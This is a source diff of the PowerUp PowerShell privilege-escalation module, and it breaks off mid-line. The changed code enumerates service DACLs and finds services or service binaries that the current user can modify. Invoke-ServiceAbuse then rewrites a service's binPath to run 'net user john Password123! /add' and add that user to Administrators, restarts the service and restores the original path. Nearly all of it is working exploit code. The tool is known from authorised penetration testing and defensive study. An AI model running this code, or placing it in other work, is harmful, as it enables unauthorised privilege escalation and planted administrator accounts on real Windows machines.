one or more ServiceProcess.ServiceController objects from Get-Service. + .EXAMPLE - PS C:\> Invoke-ServiceStop -ServiceName VulnSVC + PS C:\> Get-Service | Add-ServiceDacl - Stop the 'VulnSVC' service. -#> + Add Dacls for every service the current user can read. - [CmdletBinding()] - Param( - [Parameter(ValueFromPipeline=$True, Mandatory = $True)] - [String] - $ServiceName + .EXAMPLE + + PS C:\> Get-Service -Name VMTools | Add-ServiceDacl + + Add the Dacl to the VMTools service object. + + .OUTPUTS + + ServiceProcess.ServiceController + + .LINK + + https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ +#> + [OutputType([ServiceProcess.ServiceController])] + param ( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ServiceProcess.ServiceController[]] + [ValidateNotNullOrEmpty()] + $Service ) - process { - # query WMI for the service - $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} + BEGIN { + $Module = New-InMemoryModule -ModuleName PowerUpModule + + # https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ + $ServiceAccessRights = psenum $Module PowerUp.ServiceAccessRights UInt32 @{ + QueryConfig = 0x00000001 + ChangeConfig = 0x00000002 + QueryStatus = 0x00000004 + EnumerateDependents = 0x00000008 + Start = 0x00000010 + Stop = 0x00000020 + PauseContinue = 0x00000040 + Interrogate = 0x00000080 + UserDefinedControl = 0x00000100 + Delete = 0x00010000 + ReadControl = 0x00020000 + WriteDac = 0x00040000 + WriteOwner = 0x00080000 + Synchronize = 0x00100000 + AccessSystemSecurity = 0x01000000 + GenericAll = 0x10000000 + GenericExecute = 0x20000000 + GenericWrite = 0x40000000 + GenericRead = 0x80000000 + AllAccess = 0x000F01FF + } -Bitfield + + $FunctionDefinitions = @( + (func advapi32 QueryServiceObjectSecurity ([Bool]) @([IntPtr], [Security.AccessControl.SecurityInfos], [Byte[]], [UInt32], [UInt32].MakeByRefType()) -SetLastError) + (func advapi32 CloseServiceHandle ([Bool]) @([IntPtr]) -SetLastError) + ) - # make sure we got a result back - if (-not ($TargetService)){ - Write-Warning "[!] Target service '$ServiceName' not found on the machine" - return $False - } + $Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'PowerUp.NativeMethods' + $Advapi32 = $Types['advapi32'] - try { - # stop the service - Write-Verbose "Stopping service '$($TargetService.Name)'" - $Result = sc.exe stop "$($TargetService.Name)" + filter Local:Get-ServiceReadControlHandle { + [OutputType([IntPtr])] + param ( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ServiceProcess.ServiceController] + [ValidateNotNullOrEmpty()] + $Service + ) + + $GetServiceHandle = [ServiceProcess.ServiceController].GetMethod('GetServiceHandle', [Reflection.BindingFlags] 'Instance, NonPublic') + + $ReadControl = 0x00020000 + + $RawHandle = $GetServiceHandle.Invoke($Service, @($ReadControl)) - if ($Result -like "*Access is denied*"){ - Write-Warning "[!] Access to service $($TargetService.Name) denied" - return $False + $RawHandle + } + } + + PROCESS { + foreach ($IndividualService in $Service) { + try { + $ServiceHandle = Get-ServiceReadControlHandle -Service $IndividualService } - elseif ($Result -like "*1051*") { - # if we can't stop the service because other things depend on it - Write-Warning "[!] Stopping service $($TargetService.Name) failed: $Result" - return $False + catch { + $ServiceHandle = $Null + Write-Warning "Error opening up the service handle with read control for: $($IndividualService.Name)" } - Start-Sleep 1 - return $True - } - catch{ - Write-Warning "Error: $_" - return $False + if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) { + $SizeNeeded = 0 + + $Result = $Advapi32::QueryServiceObjectSecurity($ServiceHandle, [Security.AccessControl.SecurityInfos]::DiscretionaryAcl, @(), 0, [Ref] $SizeNeeded);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + # 122 == The data area passed to a system call is too small + if ((-not $Result) -and ($LastError -eq 122) -and ($SizeNeeded -gt 0)) { + $BinarySecurityDescriptor = New-Object Byte[]($SizeNeeded) + + $Result = $Advapi32::QueryServiceObjectSecurity($ServiceHandle, [Security.AccessControl.SecurityInfos]::DiscretionaryAcl, $BinarySecurityDescriptor, $BinarySecurityDescriptor.Count, [Ref] $SizeNeeded);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if (-not $Result) { + Write-Error ([ComponentModel.Win32Exception] $LastError) + } + else { + $RawSecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $BinarySecurityDescriptor, 0 + $Dacl = $RawSecurityDescriptor.DiscretionaryAcl | ForEach-Object { + Add-Member -InputObject $_ -MemberType NoteProperty -Name AccessRights -Value ($_.AccessMask -as $ServiceAccessRights) -PassThru + } + + Add-Member -InputObject $IndividualService -MemberType NoteProperty -Name Dacl -Value $Dacl -PassThru + } + } + else { + Write-Error ([ComponentModel.Win32Exception] $LastError) + } + + $Null = $Advapi32::CloseServiceHandle($ServiceHandle) + } } } } -function Invoke-ServiceEnable { +function Set-ServiceBinPath { <# .SYNOPSIS + + Sets the binary path for a service to a specified value. + Author: @harmj0y, Matthew Graeber (@mattifestation) + License: BSD 3-Clause + + .DESCRIPTION + + Takes a ServiceProcess.ServiceController or a ServiceName and first opens up a + service handle to the service with ConfigControl access using the GetServiceHandle + Win32 API call. ChangeServiceConfig is then used to set the binary path (lpBinaryPathName/binPath) + to the string value specified by binPath, and the handle is closed off. - Enables a specified service. + Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a + Dacl field to each object. It does this by opening a handle with ReadControl for the + service with using the GetServiceHandle Win32 API call and then uses + QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. + + .PARAMETER Service + + A ServiceProcess.ServiceController object from Get-Service. .PARAMETER ServiceName + + The name of the service to modify the binPath for. - The service name to enable. Required. + .PARAMETER binPath + The new binary path (lpBinaryPathName) to set for the specified service. Required. + + .OUTPUTS + + $True if configuration succeeds, $False otherwise. + + .EXAMPLE + + PS C:\> Set-ServiceBinPath -ServiceName VulnSvc -BinPath 'net user john Password123! /add' + + Sets the binary path for 'VulnSvc' to be a command to add a user. + .EXAMPLE - PS C:\> Invoke-ServiceEnable -ServiceName VulnSVC + PS C:\> Get-Service VulnSvc | Set-ServiceBinPath -BinPath 'net user john Password123! /add' - Enables the 'VulnSVC' service. + Sets the binary path for 'VulnSvc' to be a command to add a user. + + .LINK + + https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx #> + [CmdletBinding(DefaultParameterSetName='ServiceName')] + param ( + [Parameter(ParameterSetName='Service', Mandatory = $True, ValueFromPipeline = $True)] + [ServiceProcess.ServiceController] + [ValidateNotNullOrEmpty()] + $Service, + + [Parameter(ParameterSetName='ServiceName', Mandatory = $True)] + [String] + [ValidateNotNullOrEmpty()] + $ServiceName, - [CmdletBinding()] - Param( - [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [Parameter(ParameterSetName='Service', Mandatory = $True)] + [Parameter(ParameterSetName='ServiceName', Mandatory = $True)] [String] - $ServiceName + [ValidateNotNullOrEmpty()] + $binPath ) - process { - # query WMI for the service - $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} + BEGIN { + $Module = New-InMemoryModule -ModuleName PowerUpModule - # make sure we got a result back - if (-not ($TargetService)){ - Write-Warning "[!] Target service '$ServiceName' not found on the machine" - return $False + $FunctionDefinitions = @( + (func advapi32 ChangeServiceConfig ([Bool]) @([IntPtr], [UInt32], [UInt32], [UInt32], [String], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) -SetLastError -Charset Unicode) + (func advapi32 CloseServiceHandle ([Bool]) @([IntPtr]) -SetLastError) + ) + + $Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'PowerUp.NativeMethods' + $Advapi32 = $Types['advapi32'] + + filter Local:Get-ServiceConfigControlHandle { + [OutputType([IntPtr])] + param ( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ServiceProcess.ServiceController] + [ValidateNotNullOrEmpty()] + $TargetService + ) + + $GetServiceHandle = [ServiceProcess.ServiceController].GetMethod('GetServiceHandle', [Reflection.BindingFlags] 'Instance, NonPublic') + + $ConfigControl = 0x00000002 + + $RawHandle = $GetServiceHandle.Invoke($TargetService, @($ConfigControl)) + + $RawHandle } - - try { - # enable the service - Write-Verbose "Enabling service '$($TargetService.Name)'" - $Null = sc.exe config "$($TargetService.Name)" start= demand - return $True + } + + PROCESS { + if($PSBoundParameters['Service']) { + try { + $ServiceHandle = Get-ServiceConfigControlHandle -TargetService $Service + } + catch { + $ServiceHandle = $Null + Write-Warning "Error opening up the service handle with read control for $($Service.Name) : $_" + } } - catch{ - Write-Warning "Error: $_" - return $False + else { + try { + $Service = Get-Service -Name $ServiceName + $ServiceHandle = Get-ServiceConfigControlHandle -TargetService $Service + } + catch { + $ServiceHandle = $Null + Write-Warning "Error opening up the service handle with read control for $ServiceName : $_" + } + } + + if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) { + + $SERVICE_NO_CHANGE = [UInt32]::MaxValue + + $Result = $Advapi32::ChangeServiceConfig($ServiceHandle, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, "$binPath", [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result -ne 0) { + if($PSBoundParameters['Service']) { + Write-Verbose "binPath for $($Service.Name) successfully set to '$binPath'" + } + else { + Write-Verbose "binPath for $ServiceName successfully set to '$binPath'" + } + $True + } + else { + Write-Error ([ComponentModel.Win32Exception] $LastError) + $Null + } + + $Null = $Advapi32::CloseServiceHandle($ServiceHandle) } } } -function Invoke-ServiceDisable { +filter Test-ServiceDaclPermission { <# .SYNOPSIS + + Tests one or more passed services or service names against a given permission set, + returning the service objects where the current user have the specified permissions. + Author: @harmj0y, Matthew Graeber (@mattifestation) + License: BSD 3-Clause + + .DESCRIPTION - Disables a specified service. + Takes a ServiceProcess.ServiceController or a ServiceName and first adds a service + Dacl to the service object with Add-ServiceDacl. All group SIDs for the current user are + enumerated services where the user has some type of permission are filtered. The services + are then filtered against a specified set of permissions, and services where the current + user have the specified permissions are returned. + + .PARAMETER Service + + A ServiceProcess.ServiceController object to test against the specified permission set. .PARAMETER ServiceName + + The name of the service to test against the specified permission set. + + .PARAMETER Permissions - The service name to disable. Required. + A manual set of permission to test again. One of:'QueryConfig', 'ChangeConfig', 'QueryStatus', + 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', UserDefinedControl', + 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', + 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess' + .PARAMETER PermissionSet + + A pre-defined permission set to test a specified service against. 'ChangeConfig', 'Restart', or 'AllAccess'. + + .OUTPUTS + + ServiceProcess.ServiceController + .EXAMPLE - PS C:\> Invoke-ServiceDisable -ServiceName VulnSVC + PS C:\> Get-Service | Test-ServiceDaclPermission + + Return all service objects where the current user can modify the service configuration. + + .EXAMPLE + + PS C:\> Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart' + + Return all service objects that the current user can restart. - Disables the 'VulnSVC' service. + + .EXAMPLE + + PS C:\> Test-ServiceDaclPermission -Permissions 'Start' -ServiceName VulnSVC + + Return the VulnSVC object if the current user has start permissions. + + .LINK + + https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ #> + [OutputType([ServiceProcess.ServiceController])] + [CmdletBinding(DefaultParameterSetName='ServiceName')] + param ( + [Parameter(ParameterSetName='ServiceName', Position = 0, Mandatory = $True)] + [String] + [ValidateNotNullOrEmpty()] + $ServiceName, - [CmdletBinding()] - Param( - [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [Parameter(ParameterSetName='Service', Mandatory = $True, Position = 1, ValueFromPipeline = $True)] + [ServiceProcess.ServiceController] + [ValidateNotNullOrEmpty()] + $Service, + + [Parameter(ParameterSetName='ServiceName')] + [Parameter(ParameterSetName='Service')] + [String[]] + [ValidateSet('QueryConfig', 'ChangeConfig', 'QueryStatus', 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', 'UserDefinedControl', 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess')] + $Permissions, + + [Parameter(ParameterSetName='ServiceName')] + [Parameter(ParameterSetName='Service')] [String] - $ServiceName + [ValidateSet('ChangeConfig', 'Restart', 'AllAccess')] + $PermissionSet = 'ChangeConfig' ) - - process { - # query WMI for the service - $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} - # make sure we got a result back - if (-not ($TargetService)){ - Write-Warning "[!] Target service '$ServiceName' not found on the machine" - return $False + if($PSBoundParameters['Service']) { + $TargetService = $Service | Add-ServiceDacl + } + else { + $TargetService = Get-Service -Name $ServiceName -ErrorAction Stop | Add-ServiceDacl + } + + $AccessMask = @{ + 'QueryConfig' = [uint32]'0x00000001' + 'ChangeConfig' = [uint32]'0x00000002' + 'QueryStatus' = [uint32]'0x00000004' + 'EnumerateDependents' = [uint32]'0x00000008' + 'Start' = [uint32]'0x00000010' + 'Stop' = [uint32]'0x00000020' + 'PauseContinue' = [uint32]'0x00000040' + 'Interrogate' = [uint32]'0x00000080' + 'UserDefinedControl' = [uint32]'0x00000100' + 'Delete' = [uint32]'0x00010000' + 'ReadControl' = [uint32]'0x00020000' + 'WriteDac' = [uint32]'0x00040000' + 'WriteOwner' = [uint32]'0x00080000' + 'Synchronize' = [uint32]'0x00100000' + 'AccessSystemSecurity' = [uint32]'0x01000000' + 'GenericAll' = [uint32]'0x10000000' + 'GenericExecute' = [uint32]'0x20000000' + 'GenericWrite' = [uint32]'0x40000000' + 'GenericRead' = [uint32]'0x80000000' + 'AllAccess' = [uint32]'0x000F01FF' + } + + if($PSBoundParameters['Permissions']) { + $TargetPermissions = $Permissions + } + else { + if($PermissionSet -eq 'ChangeConfig') { + $TargetPermissions = @('ChangeConfig', 'WriteDac', 'WriteOwner', 'GenericAll', ' GenericWrite', 'AllAccess') } - - try { - # disable the service - Write-Verbose "Disabling service '$($TargetService.Name)'" - $Null = sc.exe config "$($TargetService.Name)" start= disabled - return $True + elseif($PermissionSet -eq 'Restart') { + $TargetPermissions = @('Start', 'Stop') + $CheckAllPermissionsInSet = $True # so we check all permissions && style } - catch{ - Write-Warning "Error: $_" - return $False + elseif($PermissionSet -eq 'AllAccess') { + $TargetPermissions = @('GenericAll', 'AllAccess') } } + + if($TargetService -and $TargetService.Dacl) { + + # enumerate all group SIDs the current user is a part of + $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() + $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value + $CurrentUserSids += $UserIdentity.User.Value + + ForEach($ServiceDacl in $TargetService.Dacl) { + if($CurrentUserSids -contains $ServiceDacl.SecurityIdentifier) { + + if($CheckAllPermissionsInSet) { + $AllMatched = $True + ForEach($TargetPermission in $TargetPermissions) { + # check permissions && style + if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -ne $AccessMask[$TargetPermission]) { + Write-Verbose "Current user doesn't have '$TargetPermission' for $($TargetService.Name)" + $AllMatched = $False + break + } + } + if($AllMatched) { + $TargetService + } + } + else { + ForEach($TargetPermission in $TargetPermissions) { + # check permissions || style + if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -eq $AccessMask[$TargetPermission]) { + Write-Verbose "Current user has '$TargetPermission' for $($TargetService.Name)" + $TargetService + break + } + } + } + } + } + } + else { + Write-Warning "Error enumerating the Dacl for service $ServiceName" + } } @@ -449,11 +1366,16 @@ function Get-ServiceUnquoted { if ($VulnServices) { ForEach ($Service in $VulnServices){ - try { - $CanRestart = Test-ServiceDaclPermission -ServiceName $Service.name -Dacl 'WPRP' - } catch { - $CanRestart = "Cannot be determined through DACL, try manually." + + $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -ServiceName $Service.name + + if($ServiceRestart) { + $CanRestart = $True } + else { + $CanRestart = $False + } + $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $Service.name $Out | Add-Member Noteproperty 'Path' $Service.pathname @@ -466,18 +1388,23 @@ function Get-ServiceUnquoted { } -function Get-ServiceFilePermission { +function Get-ModifiableServiceFile { <# .SYNOPSIS - This function finds all services where the current user can - write to the associated binary or its arguments. - If the associated binary (or config file) is overwritten, + Enumerates all services and returns vulnerable service files. + + .DESCRIPTION + + Enumerates all services by querying the WMI win32_service class. For each service, + it takes the pathname (aka binPath) and passes it to Get-ModifiableFile to determine + if the current user has rights to modify the service binary itself or any associated + arguments. If the associated binary (or any configuration files) can be overwritten, privileges may be able to be escalated. .EXAMPLE - PS C:\> Get-ServiceFilePermission + PS C:\> Get-ModifiableServiceFile Get a set of potentially exploitable service binares/config files. #> @@ -489,15 +1416,22 @@ function Get-ServiceFilePermission { $ServiceStartName = $_.startname $ServicePath | Get-ModifiableFile | ForEach-Object { - try { - $CanRestart = Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WPRP' - } catch { - $CanRestart = "Cannot be determined through DACL, try manually." + + $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -ServiceName $ServiceName + + if($ServiceRestart) { + $CanRestart = $True } + else { + $CanRestart = $False + } + $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceName $Out | Add-Member Noteproperty 'Path' $ServicePath - $Out | Add-Member Noteproperty 'ModifiableFile' $_ + $Out | Add-Member Noteproperty 'ModifiableFile' $_.Path + $Out | Add-Member Noteproperty 'ModifiableFilePermissions' $_.Permissions + $Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference $Out | Add-Member Noteproperty 'StartName' $ServiceStartName $Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -ServiceName '$ServiceName'" $Out | Add-Member Noteproperty 'CanRestart' $CanRestart @@ -507,57 +1441,44 @@ function Get-ServiceFilePermission { } -function Get-ServicePermission { +function Get-ModifiableService { <# .SYNOPSIS - This function enumerates all available services and tries to - open the service for modification, returning the service object - if the process didn't fail. - + Enumerates all services and returns services for which the current user can modify the binPath. + + .DESCRIPTION + + Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if + the current user has rights to change the service configuration. + .EXAMPLE - PS C:\> Get-ServicePermission + PS C:\> Get-ModifiableService Get a set of potentially exploitable services. #> - - # check if sc.exe exists - if (-not (Test-Path ("$Env:SystemRoot\System32\sc.exe"))) { - Write-Warning "[!] Could not find $Env:SystemRoot\System32\sc.exe" - - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ServiceName' 'Not Found' - $Out | Add-Member Noteproperty 'Path' "$Env:SystemRoot\System32\sc.exe" - $Out | Add-Member Noteproperty 'StartName' $Null - $Out | Add-Member Noteproperty 'AbuseFunction' $Null - $Out - } - $Services = Get-WmiObject -Class win32_service | Where-Object {$_} - - if ($Services) { - ForEach ($Service in $Services){ + Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object { - # try to change error control of a service to its existing value - $Result = sc.exe config $($Service.Name) error= $($Service.ErrorControl) + $ServiceDetails = Get-ServiceDetail -Service $_ - # means the change was successful - if ($Result -contains "[SC] ChangeServiceConfig SUCCESS"){ - try { - $CanRestart = Test-ServiceDaclPermission -ServiceName $Service.name -Dacl 'WPRP' - } catch { - $CanRestart = "Cannot be determined through DACL, try manually." - } - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ServiceName' $Service.name - $Out | Add-Member Noteproperty 'Path' $Service.pathname - $Out | Add-Member Noteproperty 'StartName' $Service.startname - $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -ServiceName '$($Service.name)'" - $Out | Add-Member Noteproperty 'CanRestart' $CanRestart - $Out - } + $ServiceRestart = $_ | Test-ServiceDaclPermission -PermissionSet 'Restart' + + if($ServiceRestart) { + $CanRestart = $True } + else { + $CanRestart = $False + } + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.name + $Out | Add-Member Noteproperty 'Path' $ServiceDetails.pathname + $Out | Add-Member Noteproperty 'StartName' $ServiceDetails.startname + $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -ServiceName '$($ServiceDetails.name)'" + $Out | Add-Member Noteproperty 'CanRestart' $CanRestart + $Out } } @@ -566,30 +1487,60 @@ function Get-ServiceDetail { <# .SYNOPSIS - Returns detailed information about a specified service. + Returns detailed information about a specified service by querying the + WMI win32_service class for the specified service name. + + .DESCRIPTION + + Takes a ServiceName or a ServiceProcess.ServiceController object returned by + Get-Service, extracts out the service name, queries the WMI win32_service class for + the specified service for details like binPath, and outputs everything. + + .PARAMETER Service + + A ServiceProcess.ServiceController object from Get-Service. .PARAMETER ServiceName - The service name to query for. Required. + The service name to query for. .EXAMPLE PS C:\> Get-ServiceDetail -ServiceName VulnSVC Gets detailed information about the 'VulnSVC' service. -#> - [CmdletBinding()] - Param( - [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + .EXAMPLE + + PS C:\> Get-Service VulnSVC | Get-ServiceDetail + + Gets detailed information about the 'VulnSVC' service. +#> + [CmdletBinding(DefaultParameterSetName='ServiceName')] + param ( + [Parameter(ParameterSetName='ServiceName', Position = 0, Mandatory = $True)] [String] - $ServiceName + [ValidateNotNullOrEmpty()] + $ServiceName, + + [Parameter(ParameterSetName='Service', Mandatory = $True, Position = 1, ValueFromPipeline = $True)] + [ServiceProcess.ServiceController] + [ValidateNotNullOrEmpty()] + $Service ) - process { - Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} | ForEach-Object { + PROCESS { + + if($PSBoundParameters['Service']) { + $TargetService = $Service + } + else { + $TargetService = Get-Service -Name $ServiceName -ErrorAction Stop + } + + Get-WmiObject -Class win32_service -Filter "Name='$($TargetService.Name)'" | Where-Object {$_} | ForEach-Object { try { - $_ | Format-List * + $_ } catch{ Write-Warning "Error: $_" @@ -614,10 +1565,14 @@ function Invoke-ServiceAbuse { the service, stops it, modifies it to add the user to the specified group, stops it, and then restores the original EXE path. It can also take a custom -CMD argument to trigger a custom command instead of adding a user. - + .PARAMETER ServiceName - The service name to manipulate. Required. + The name of the target service to abuse. + + .PARAMETER Service + + A ServiceProcess.ServiceController object from Get-Service. .PARAMETER UserName @@ -630,12 +1585,20 @@ function Invoke-ServiceAbuse { .PARAMETER LocalGroup - Local group name to add the user to (default of Administrators). + Local group name to add the user to (default of 'Administrators'). + .PARAMETER Credential + + A [Management.Automation.PSCredential] object specifying the user/password to add. + .PARAMETER Command Custom local command to execute. + .PARAMETER Force + + Switch. Force service stopping, even if other services are dependent. + .EXAMPLE PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC @@ -663,128 +1626,157 @@ function Invoke-ServiceAbuse { Abuses service 'VulnSVC' to execute a custom command. #> - - [CmdletBinding()] - Param( - [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [CmdletBinding(DefaultParameterSetName='ServiceName')] + param ( + [Parameter(ParameterSetName='Service', Mandatory = $True, Position = 0, ValueFromPipeline = $True)] + [ServiceProcess.ServiceController] + [ValidateNotNullOrEmpty()] + $Service, + + [Parameter(ParameterSetName='ServiceName', Position = 1, Mandatory = $True)] [String] + [ValidateNotNullOrEmpty()] $ServiceName, + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] [String] - $UserName = "john", + $UserName = 'john', + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] [String] - $Password = "Password123!", + $Password = 'Password123!', + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] [String] - $LocalGroup = "Administrators", + $LocalGroup = 'Administrators', + + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] + [Management.Automation.PSCredential] + $Credential, + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] [String] - $Command - ) + [ValidateNotNullOrEmpty()] + $Command, - process { + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] + [Switch] + $Force + ) - # query WMI for the service - $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} - $ServiceAbused = $Null + BEGIN { - # make sure we got a result back - if ($TargetService) { + if($PSBoundParameters['Command']) { + $ServiceCommands = @($Command) + } - $ServiceAbused = $TargetService.Name - $UserAdded = $Null - $PasswordAdded = $Null - $GroupnameAdded = $Null + else { + if($PSBoundParameters['Credential']) { + $UserNameToAdd = $Credential.UserName + $PasswordToAdd = $Credential.GetNetworkCredential().Password + } + else { + $UserNameToAdd = $UserName + $PasswordToAdd = $Password + } - try { - # check if sc.exe exists - if (-not (Test-Path ("$Env:SystemRoot\System32\sc.exe"))){ - throw "Could not find $Env:SystemRoot\System32\sc.exe" - } + if($UserNameToAdd.Contains('\')) { + # only adding a domain user to the local group, no user creation + $ServiceCommands = @("net localgroup $LocalGroup $UserName /add") + } + else { + # create a local user and add it to the local specified group + $ServiceCommands = @("net user $UserName $Password /add", "net localgroup $LocalGroup $UserName /add") + } + } + } - # try to enable the service it was disabled - $RestoreDisabled = $False - if ($TargetService.StartMode -eq "Disabled") { - Write-Verbose "Service '$ServiceName' disabled, enabling..." - if(-not $(Invoke-ServiceEnable -ServiceName $ServiceName)) { - throw "Error in enabling disabled service." - } - $RestoreDisabled = $True - } + PROCESS { - # extract the original path and state so we can restore it later - $OriginalPath = $TargetService.PathName - $OriginalState = $TargetService.State - Write-Verbose "Service '$ServiceName' original path: '$OriginalPath'" - Write-Verbose "Service '$ServiceName' original state: '$OriginalState'" + if($PSBoundParameters['Service']) { + $TargetService = $Service + } + else { + $TargetService = Get-Service -Name $ServiceName -ErrorAction Stop + } - $Commands = @() + $ServiceDetails = Get-ServiceDetail -Service $TargetService - if($Command) { - # only executing a custom command - $Commands += $Command - } - elseif($UserName.Contains("\")) { - # adding a domain user to the local group, no creation - $Commands += "net localgroup $LocalGroup $UserName /add" - } - else { - # creating a local user and adding to the local group - $Commands += "net user $UserName $Password /add" - $Commands += "net localgroup $LocalGroup $UserName /add" - } + $RestoreDisabled = $False + if ($ServiceDetails.StartMode -match 'Disabled') { + Write-Verbose "Service '$ServiceName' disabled, enabling..." + $TargetService | Set-Service -StartupType Manual -ErrorAction Stop + $RestoreDisabled = $True + } - foreach($Cmd in $Commands) { - if(-not $(Invoke-ServiceStop -ServiceName $TargetService.Name)) { - throw "Error in stopping service." - } + $OriginalServicePath = $ServiceDetails.PathName + $OriginalServiceState = $ServiceDetails.State - Write-Verbose "Executing command '$Cmd'" + Write-Verbose "Service '$($TargetService.Name)' original path: '$OriginalServicePath'" + Write-Verbose "Service '$($TargetService.Name)' original state: '$OriginalServiceState'" - $Result = sc.exe config $($TargetService.Name) binPath= $Cmd - if ($Result -contains "Access is denied."){ - throw "Access to service $($TargetService.Name) denied" - } + ForEach($ServiceCommand in $ServiceCommands) { - $Null = Invoke-ServiceStart -ServiceName $TargetService.Name - } - - # cleanup and restore the original binary path - Write-Verbose "Restoring original path to service '$ServiceName'" - $Null = sc.exe config $($TargetService.Name) binPath= $OriginalPath - - # try to restore the service to whatever state it was - if($RestoreDisabled) { - Write-Verbose "Re-disabling service '$ServiceName'" - $Result = sc.exe config $($TargetService.Name) start= disabled - } - elseif($OriginalState -eq "Paused") { - Write-Verbose "Starting and then pausing service '$ServiceName'" - $Null = Invoke-ServiceStart -ServiceName $TargetService.Name - $Null = sc.exe pause $($TargetService.Name) - } - elseif($OriginalState -eq "Stopped") { - Write-Verbose "Leaving service '$ServiceName' in stopped state" - } - else { - $Null = Invoke-ServiceStart -ServiceName $TargetService.Name - } + if($PSBoundParameters['Force']) { + $TargetService | Stop-Service -Force -ErrorAction Stop } - catch { - Write-Warning "Error while modifying service '$ServiceName': $_" - $Commands = @("Error while modifying service '$ServiceName': $_") + else { + $TargetService | Stop-Service -ErrorAction Stop } + + Write-Verbose "Executing command '$ServiceCommand'" + + $Success = Set-ServiceBinPath -Service $TargetService -binPath "$ServiceCommand" + + if (-not $Success) { + throw "Error reconfiguring the binPath for $($TargetService.Name)" + } + + $TargetService | Start-Service -ErrorAction SilentlyContinue } + if($PSBoundParameters['Force']) { + $TargetService | Stop-Service -Force -ErrorAction Stop + } else { - Write-Warning "Target service '$ServiceName' not found on the machine" - $Commands = "Not found" + $TargetService | Stop-Service -ErrorAction Stop + } + + Write-Verbose "Restoring original path to service '$($TargetService.Name)'" + + $Success = Set-ServiceBinPath -Service $TargetService -binPath "$OriginalServicePath" + + if (-not $Success) { + throw "Error restoring the original binPath for $($TargetService.Name)" + } + + # try to restore the service to whatever the service's original state was + if($RestoreDisabled) { + Write-Verbose "Re-disabling service '$($TargetService.Name)'" + $TargetService | Set-Service -StartupType Disabled -ErrorAction Stop + } + elseif($OriginalServiceState -eq "Paused") { + Write-Verbose "Starting and then pausing service '$($TargetService.Name)'" + $TargetService | Start-Service + $TargetService | Set-Service -Status Paused -ErrorAction Stop + } + elseif($OriginalServiceState -eq "Stopped") { + Write-Verbose "Leaving service '$($TargetService.Name)' in stopped state" + } + else { + Write-Verbose "Restarting '$($TargetService.Name)'" + $TargetService | Start-Service } $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ServiceAbused' $ServiceAbused - $Out | Add-Member Noteproperty 'Command' $($Commands 